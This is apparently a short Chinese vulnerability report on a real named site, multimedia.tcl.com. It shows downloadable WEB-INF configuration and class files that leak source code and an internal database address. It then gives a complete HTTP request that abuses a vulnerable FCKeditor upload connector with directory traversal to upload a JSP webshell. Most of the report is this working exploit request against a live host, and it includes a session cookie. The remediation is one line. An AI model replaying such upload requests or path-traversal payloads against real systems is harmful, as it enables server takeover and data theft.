http://multimedia.tcl.com/WEB-INF/web.xml
web.xml可访问
顺着图一路摸下去
http://multimedia.tcl.com/WEB-INF/classes/applicationContext.xml
http://multimedia.tcl.com/WEB-INF/classes/hibernate.cfg.xml
<hibernate-configuration><session-factory><property name="hibernate.connection.url"> jdbc:mysql://10.120.99.19/multimedia?useServerPrepStmts=false&useUnicode=true&characterEncoding=UTF-8&logger=com.mysql.jdbc.log.StandardLogger </property>
找到数据库连接 在内网
每个classes都是可以下载的 可导致整站源码泄露
fckeditor
访问后发现是有漏洞的版本 可以跨目录
POST /lokosuite/module/core/htmleditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/../../en/home/ HTTP/1.1 Host: multimedia.tcl.com Proxy-Connection: keep-alive Content-Length: 7338 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://multimedia.tcl.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.3 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMqgpH9KZNXlFibX4 Referer: http://multimedia.tcl.com/lokosuite/module/core/htmleditor/editor/filemanager/browser/default/frmupload.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4 Cookie: JSESSIONID=EC6CB4E9F7907F950BB61462522B06DF; __utmt=1; __utma=168697661.1185858053.1421290181.1421290181.1421290181.1; __utmb=168697661.8.10.1421290181; __utmc=168697661; __utmz=168697661.1421290181.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) ------WebKitFormBoundaryMqgpH9KZNXlFibX4 Content-Disposition: form-data; name="NewFile"; filename="indexs.jsp" Content-Type: application/octet-stream
这个包直接上传shell
禁止访问配置文件